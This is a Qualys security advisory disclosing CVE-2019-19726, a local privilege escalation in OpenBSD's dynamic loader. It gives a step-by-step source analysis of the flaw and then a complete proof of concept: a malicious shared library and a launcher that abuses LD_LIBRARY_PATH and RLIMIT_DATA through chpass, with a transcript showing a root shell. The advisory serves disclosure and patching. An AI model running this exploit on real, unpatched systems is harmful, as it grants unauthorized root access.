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Qualys Security Advisory Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726) ============================================================================== Contents ============================================================================== Summary Analysis Demonstration Acknowledgments ============================================================================== Summary ============================================================================== We discovered a Local Privilege Escalation in OpenBSD's dynamic loader (ld.so): this vulnerability is exploitable in the default installation (via the set-user-ID executable chpass or passwd) and yields full root privileges. We developed a simple proof of concept and successfully tested it against OpenBSD 6.6 (the current release), 6.5, 6.2, and 6.1, on both amd64 and i386; other releases and architectures are probably also exploitable. ============================================================================== Analysis ============================================================================== In this section, we analyze a step-by-step execution of our proof of concept: ------------------------------------------------------------------------------ 1/ We execve() the set-user-ID /usr/bin/chpass, but first: 1a/ we set the LD_LIBRARY_PATH environment variable to one single dot (the current working directory) and approximately ARG_MAX colons (the maximum number of bytes for the argument and environment list); as described in man ld.so: LD_LIBRARY_PATH A colon separated list of directories, prepending the default search path for shared libraries.This variable is ignored for set-user-ID and set-group-ID executables. 1b/ we set the RLIMIT_DATA resource limit to ARG_MAX * sizeof(char *) (2MB on amd64, 1MB on i386); as described in man setrlimit: RLIMIT_DATA The maximum size (in bytes) of the data segment for a process; this includes memory allocated via malloc(3) and all other anonymous memory mapped via mmap(2). ------------------------------------------------------------------------------ 2/ Before the main() function of chpass is executed, the _dl_boot() function of ld.so is executed and calls _dl_setup_env(): 262 void 263 _dl_setup_env(const char *argv0, char **envp) 264 { ... 271 _dl_libpath = _dl_split_path(_dl_getenv("LD_LIBRARY_PATH", envp)); ... 283 _dl_trust = !_dl_issetugid(); 284 if (!_dl_trust) { /* Zap paths if s[ug]id... */ 285 if (_dl_libpath) { 286 _dl_free_path(_dl_libpath); 287 _dl_libpath = NULL; 288 _dl_unsetenv("LD_LIBRARY_PATH", envp); 289 } ------------------------------------------------------------------------------ 3/ At line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH environment variable and passes it to _dl_split_path(): 23 char ** 24 _dl_split_path(const char *searchpath) 25 { .. 35 pp = searchpath; 36 while (*pp) { 37 if (*pp == ':' || *pp == ';') 38 count++; 39 pp++; 40 } .. 45 retval = _dl_reallocarray(NULL, count, sizeof(*retval)); 46 if (retval == NULL) 47 return (NULL); ------------------------------------------------------------------------------ 4/ At line 45, count is approximately ARG_MAX (the number of colons in our LD_LIBRARY_PATH) and _dl_reallocarray() returns NULL (because of our low RLIMIT_DATA); at line 47, _dl_split_path() returns NULL. ------------------------------------------------------------------------------ 5/ As a result, _dl_libpath is NULL (line 271) and our LD_LIBRARY_PATH is ignored, but it is not deleted from the environment (CVE-2019-19726): although _dl_trust is false (_dl_issetugid() returns true because chpass is set-user-ID), _dl_unsetenv() is not called (line 288) because _dl_libpath is NULL (line 285). ------------------------------------------------------------------------------ 6/ Next, the main() function of chpass is executed, and it: 6a/ calls setuid(0), which sets the real and effective user IDs to 0; 6b/ calls pw_init(), which resets RLIMIT_DATA to RLIM_INFINITY; 6c/ calls pw_mkdb(), which vfork()s and execv()s /usr/sbin/pwd_mkdb (unlike execve(), execv() does not reset the environment). ------------------------------------------------------------------------------ 7/ Before the main() function of pwd_mkdb is executed, the _dl_boot() function of ld.so is executed and calls _dl_setup_env(): 7a/ at line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH environment variable (because it was not deleted from the environment in step 5, and because execv() did not reset the environment in step 6c); 7b/ at line 45, _dl_reallocarray() does not return NULL anymore (because our low RLIMIT_DATA was reset in step 6b); 7c/ as a result, _dl_libpath is not NULL (line 271), and it is not reset to NULL (line 287) because _dl_trust is true (_dl_issetugid() returns false because pwd_mkdb is not set-user-ID, and because the real and effective user IDs were both set to 0 in step 6a): our LD_LIBRARY_PATH is not ignored anymore. ------------------------------------------------------------------------------ 8/ Finally, ld.so searches for shared libraries in _dl_libpath (our LD_LIBRARY_PATH) and loads our own library from the current working directory (the dot in our LD_LIBRARY_PATH). ------------------------------------------------------------------------------ ============================================================================== Demonstration ============================================================================== In this section, we demonstrate the use of our proof of concept: ------------------------------------------------------------------------------ $ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody) $ cd /tmp $ cat > lib.c << "EOF" #include <paths.h> #include <unistd.h> static void __attribute__ ((constructor)) _init (void) { if (setuid(0) != 0) _exit(__LINE__); if (setgid(0) != 0) _exit(__LINE__); char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL }; execve(argv[0], argv, NULL); _exit(__LINE__); } EOF $ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED 0x0000000000000001 (NEEDED) Shared library: [libutil.so.13.1] 0x0000000000000001 (NEEDED) Shared library: [libc.so.95.1] $ gcc -fpic -shared -s -o libutil.so.13.1 lib.c $ cat > poc.c << "EOF" #include <string.h> #include <sys/param.h> #include <sys/resource.h> #include <unistd.h> int main(int argc, char * const * argv) { #define LLP "LD_LIBRARY_PATH=." static char llp[ARG_MAX - 128]; memset(llp, ':', sizeof(llp)-1); memcpy(llp, LLP, sizeof(LLP)-1); char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL }; #define DATA (ARG_MAX * sizeof(char *)) const struct rlimit data = { DATA, DATA }; if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__); if (argc <= 1) _exit(__LINE__); argv += 1; execve(argv[0], argv, envp); _exit(__LINE__); } EOF $ gcc -s -o poc poc.c $ ./poc /usr/bin/chpass # id uid=0(root) gid=0(wheel) groups=32767(nobody) ------------------------------------------------------------------------------ ============================================================================== Acknowledgments ============================================================================== We thank Theo de Raadt and the OpenBSD developers for their incredibly quick response: they published a patch for this vulnerability in less than 3 hours. We also thank MITRE's CVE Assignment Team. [https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner> This message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and/or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and/or eliminate unsolicited promotional emails (“spam”). If you have any concerns about this process, please contact us. |
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